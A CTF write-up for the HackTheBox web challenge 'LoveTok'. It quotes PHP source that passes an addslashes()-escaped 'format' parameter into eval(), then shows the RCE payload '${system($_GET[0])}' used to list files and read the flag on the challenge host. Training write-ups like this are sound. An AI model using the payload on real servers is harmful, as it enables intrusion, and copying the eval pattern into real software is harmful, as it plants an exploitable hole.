LoveTok

Platform: HackTheBox | Category: Web | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

True love is tough, and even harder to find. Once the sun has set, the lights close and the bell has rung... you find yourself licking your wounds and contemplating human existence. You wish to have somebody important in your life to share the experiences that come with it, the good and the bad. This is why we made LoveTok, the brand new service that accurately predicts in the threshold of milliseconds when love will come knockin' (at your door). Come and check it out, but don't try to cheat love because love cheats back. 💛

Solution Approach

Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.

Steps

1. Open the host given.

http://178.62.88.144:30462/

1. When i clicked try again, new date & time displayed.

2. Notice we have format parameter.

3. Anyway let us unzip the zip file given.

4. Jump to the extracted folder.

5. Since i don't want to exploit in local, so let us jump to the challenge directory to find the source code.

INDEX.PHP

<?php 
date_default_timezone_set('UTC');
spl_autoload_register(function ($name){
    if (preg_match('/Controller$/', $name))
    {
        $name = "controllers/${name}";
    }
    else if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
$router = new Router();
$router->new('GET', '/', 'TimeController@index');
$response = $router->match();
die($response);

1. Based on the index.php file, i Open the controller directory.
2. Great we found the time controller source.

TIMECONTROLLER.PHP

<?php
class TimeController
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }

1. Based on it we know that the value of format parameter passed to the TimeModel class.
2. Now let us check the TimeModel.php file in the models directory.

TIMEMODEL.PHP

<?php
class TimeModel
    public function __construct($format)
    {
        $this->format = addslashes($format);
        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }
    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }

1. Based on it, we know that the format parameter is sanitized by the addslashes() function.
2. The addslashes() function add a forward slash in front of these characters:

", ', \, NULL BYTE

1. At the getTime() function we realize that out input is executed inside the eval() function.
2. eval() function is a vuln in php, because the attacker can utilize the func to do RCE to get the flag.
3. However, there's an addslashes() func, so we can't add the quote and do a system call resulting in RCE.
4. So Researching how revealed to bypass the addslashes() function.

THE LINK
https://www.programmersought.com/article/30723400042/
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html

1. When i add ${system("ls")} as the format value, obviously it won't do anything.
2. Based on the article i read, we can utilize the GET parameter. Since %_GET is a dictionary, the key can be a number, hence we can add the 2nd parameter to be anynum equal to cat, ls, etc.
3. So our shall look like this:

${system($_GET[0])}&0=ls

COMPLETE URL

http://178.62.88.144:30462/?format=${system($_GET[0])}&0=ls+--+/

1. Notice there's a flag file (?)

2. Let us cat the file.

${system($_GET[0])}&0=cat+/flagtERAM+--+/

COMPLETE URL

http://178.62.88.144:30462/?format=${system($_GET[0])}&0=cat+/flagtERAM+--+/

1. Got the flag!

Flag

REDACTED

Lessons Learned

1. Identify the weakness from source review or fingerprinting first.
2. Iterate with incremental payloads instead of guessing.
3. Reuse the same pattern in future engagements.